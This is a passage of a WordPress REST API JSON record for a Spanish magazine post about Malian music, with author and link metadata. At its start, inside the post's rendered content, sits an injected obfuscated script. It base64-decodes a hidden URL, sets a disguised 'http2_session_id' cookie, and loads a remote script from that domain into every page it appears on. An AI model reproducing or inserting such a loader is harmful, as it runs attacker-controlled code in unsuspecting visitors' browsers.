key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Pocas veces o\u00edmos hablar de Mali en Europa y, cuando lo hacemos, suele ser en relaci\u00f3n con la inseguridad y la inestabilidad pol\u00edtica que azotan el pa\u00eds desde hace a\u00f1os. Lo que no suele ser tan com\u00fan es mirar Mali desde una perspectiva distinta: a trav\u00e9s de su m\u00fasica. Cuando hablamos de \u201cm\u00fasica maliense\u201d no hacemos referencia a ning\u00fan estilo en espec\u00edfico, sino, simplemente, a las obras de los m\u00fasicos ligados a este pa\u00eds. <\/p>\n","protected":false},"author":10,"featured_media":2166,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[92,170,199],"tags":[],"ppma_author":[417],"authors":[{"term_id":417,"user_id":10,"is_guest":0,"slug":"marinamn1999","display_name":"Marina Moreno Navarro","avatar_url":"https:\/\/secure.gravatar.com\/avatar\/033cb877d11b46293ede12cdf1c94e67?s=96&d=mm&r=g","first_name":"Marina","last_name":"Moreno Navarro","user_url":"","job_title":"","description":""}],"_links":{"self":[{"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/posts\/1951"}],"collection":[{"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/comments?post=1951"}],"version-history":[{"count":3,"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/posts\/1951\/revisions"}],"predecessor-version":[{"id":4829,"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/posts\/1951\/revisions\/4829"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/media\/2166"}],"wp:attachment":[{"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/media?parent=1951"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/categories?post=1951"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/tags?post=1951"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/ppma_author?post=1951"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}